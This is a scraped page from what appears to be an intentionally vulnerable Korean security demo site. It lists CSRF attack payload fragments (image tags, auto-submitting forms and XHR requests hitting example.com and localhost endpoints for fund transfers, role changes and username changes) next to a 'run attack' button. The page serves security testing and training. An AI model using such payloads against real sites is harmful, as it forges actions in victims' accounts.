PoC
홈
웹 공격
API
로그인
PoC
홈
웹 공격
API
로그인
CSRF(크로스 사이트 요청 위조) 공격을 시작해 보세요.
공격 페이로드를 선택하고 실행하세요!
CSRF(크로스 사이트 요청 위조) 공격
img src='http://localhost/attack.asp?Screen=13&menu=900&transferFunds=4000'
xhr.open('POST', 'http://www.example.com/api/setrole');
">form id='CSRF_POC' action='www.example.com/api/setrole' enctype='
script> var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/api/currentuser');
const file = new File( [ 'CSRF-filecontent' ], 'CSRF-filename' );
form id='autosubmit' action='http://www.example.com/api/setusername'
action='http://www.example.com/api/setusername' enctype='text/plain'
img src="http://www.example.com/api/setusername?username=CSRFd"
http://www.example.com/api/setusername?username=CSRFd">Click Me
공격 실행
경고:
본 웹사이트는 테스트 목적으로만 사용되는 의도적으로 취약하게 설계된 데모용 웹사이트입니다.
©
Monitorapp.
All Right Reserved